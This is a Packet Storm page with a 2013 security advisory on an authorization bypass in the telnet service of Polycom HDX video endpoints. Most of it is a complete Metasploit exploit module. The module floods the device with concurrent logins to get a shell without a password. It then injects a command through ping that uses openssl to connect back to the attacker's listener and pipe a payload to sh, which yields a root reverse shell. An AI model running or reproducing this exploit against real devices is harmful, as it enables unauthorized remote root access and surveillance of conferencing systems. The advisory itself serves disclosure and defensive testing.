exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Polycom HDX Telnet Authorization Bypass

Polycom HDX Telnet Authorization Bypass
Posted Feb 13, 2013
Authored by Paul Haas | Site security-assessment.com

The Polycom HDX is a series of telecommunication and video devices. The telnet component of Polycom HDX video endpoint devices is vulnerable to an authorization bypass when multiple simultaneous connections are repeatedly made to the service, allowing remote network attackers to gain full access to a Polycom command prompt without authentication. Versions prior to 3.0.4 also contain OS command injection in the ping command which can be used to escape the telnet prompt and execute arbitrary commands as root. Full Metasploit module included.

tags | exploit, remote, arbitrary, root, bypass
SHA-256 | d6c612cfdc86b1458e81dbbcb92971210f9f19604de9afd1da509ddb21eceac2

Polycom HDX Telnet Authorization Bypass

Change Mirror Download
========================================================================
= Polycom HDX Telnet Authorization Bypass
=
= Vendor Website:
= www.polycom.com
=
= Affected Version:
= Polycom HDX devices:
= All releases prior to and including Commercial 3.0.5
=
= Public disclosure on January 18, 2013
=
========================================================================

== Overview ==

The Polycom HDX is a series of telecommunication and video devices. The
telnet component of Polycom HDX video endpoint devices is vulnerable to
an authorization bypass when multiple simultaneous connections are
repeatedly made to the service, allowing remote network attackers to
gain full access to a Polycom command prompt without authentication.
Versions prior to 3.0.4 also contain OS command injection in the ping
command which can be used to escape the telnet prompt and execute
arbitrary commands as root.

== Solution ==

Until a software solution is released, Polycom recommends administrators
disable telnet on their HDX unit.

== Credit ==

Discovered and advised to Polycom Inc., 2012 by Paul Haas of
Security-Assessment.com.

== About Security-Assessment.com ==

Security-Assessment.com is a leading team of Information Security
consultants specializing in providing high quality Information Security
services to clients throughout the Asia Pacific region. Our clients
include some of the largest globally recognized companies in areas such
as finance, telecommunications, broadcasting, legal and government. Our
aim is to provide the very best independent advice and a high level of
technical expertise while creating long and lasting professional
relationships with our clients.

Web: www.security-assessment.com
Email: info@security-assessment.com

== Exploitation ==

The following Metasploit module can be used to reproduce the issue:

cat > psh_auth_bypass.rb <<EOF
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'Polycom Command Shell Authorization
Bypass',
'Alias' => 'psh_auth_bypass',
'Author' => [ 'Paul Haas <Paul [dot] Haas [at]
Security-Assessment.com>' ],
'DisclosureDate' => 'Jan 18 2013',
'Description' => %q{
The login component of the Polycom Command Shell on
Polycom HDX
Video End Points running software versions 3.0.5 and earlier
is vulnerable to an authorization bypass when simultaneous
connections are made to the service, allowing remote network
attackers to gain access to a sandboxed telnet prompt
without
authentication. Versions prior to 3.0.4 contain OS command
injection in the ping command which can be used to execute
arbitrary commands as root.
},
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL',
'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf'
],
[ 'URL',
'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html'
]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Space' => 8000,
'DisableNops' => true,
'Compat' => { 'PayloadType' => 'cmd',},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
'DefaultTarget' => 0
))

register_options(
[
Opt::RHOST(),
Opt::RPORT(23),
OptAddress.new('CBHOST', [ false, "The listener address
used for staging the final payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used
for staging the final payload" ])
],self.class)
register_advanced_options(
[
OptInt.new('THREADS', [false, 'Threads for
authentication bypass', 6]),
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for
authentication bypass', 100])
], self.class)
end

def check
connect
sock.put(Rex::Text.rand_text_alpha(rand(5)+1) + "\n")
::IO.select(nil, nil, nil, 1)
res = sock.get
disconnect

if !(res and res.length > 0)
return Exploit::CheckCode::Safe
end

if (res =~ /Welcome to ViewStation/)
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
# Keep track of results (successful connections)
results = []

# Random string for password
password = Rex::Text.rand_text_alpha(rand(5)+1)

# Threaded login checker
max_threads = datastore['THREADS']
cur_threads = []

# Try up to 100 times just to be sure
queue = [*(1 .. datastore['MAX_CONNECTIONS'])]

print_status("Starting Authentication bypass with
#{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max
connections ")
while(queue.length > 0)
while(cur_threads.length < max_threads)

# We can stop if we get a valid login
break if results.length > 0

# keep track of how many attempts we've made
item = queue.shift

# We can stop if we reach max tries
break if not item

t = Thread.new(item) do |count|
sock = connect
sock.put(password + "\n")
res = sock.get

while res.length > 0
break if results.length > 0

# Post-login Polycom banner means success
if (res =~ /Polycom/)
results << sock
break
# bind error indicates bypass is working
elsif (res =~ /bind/)
sock.put(password + "\n")
#Login error means we need to disconnect
elsif (res =~ /failed/)
break
#To many connections means we need to disconnect
elsif (res =~ /Error/)
break
end
res = sock.get
end
end

cur_threads << t
end

# We can stop if we get a valid login
break if results.length > 0

# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
if not t.alive?
cur_threads[ti] = nil
end
end

# Remove any dead threads from the set
cur_threads.delete(nil)

::IO.select(nil, nil, nil, 0.25)
end

# Clean up any remaining threads
cur_threads.each {|sock| sock.kill }

if results.length > 0
print_good("#{rhost}:#{rport} Successfully exploited the
authentication bypass flaw")
do_payload(results[0])
else
print_error("#{rhost}:#{rport} Unable to bypass
authentication, this target may not be vulnerable")
end

end

def do_payload(sock)
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] ||
Rex::Socket.source_address(datastore['RHOST'])

# Start a listener
start_listener(true)

# Figure out the port we picked
cbport = self.service.getsockname[2]

# Utilize ping OS injection to push cmd payload using stager
optimized for limited buffer < 128
cmd = "\nping
;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
sock.put(cmd)

# Give time for our command to be queued and executed
1.upto(5) do
::IO.select(nil, nil, nil, 1)
break if session_created?
end
end

def stage_final_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes
to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "\n")
end

def start_listener(ssl = false)
comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end

self.service = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['CBPORT'],
'SSL' => ssl,
'SSLCert' => datastore['SSLCert'],
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})

self.service.on_client_connect_proc = Proc.new { |client|
stage_final_payload(client)
}

# Start the listening service
self.service.start
end

# Shut down any running services
def cleanup
super
if self.service
print_status("Shutting down payload stager listener...")
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end

# Accessor for our TCP payload stager
attr_accessor :service

end

EOF



Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close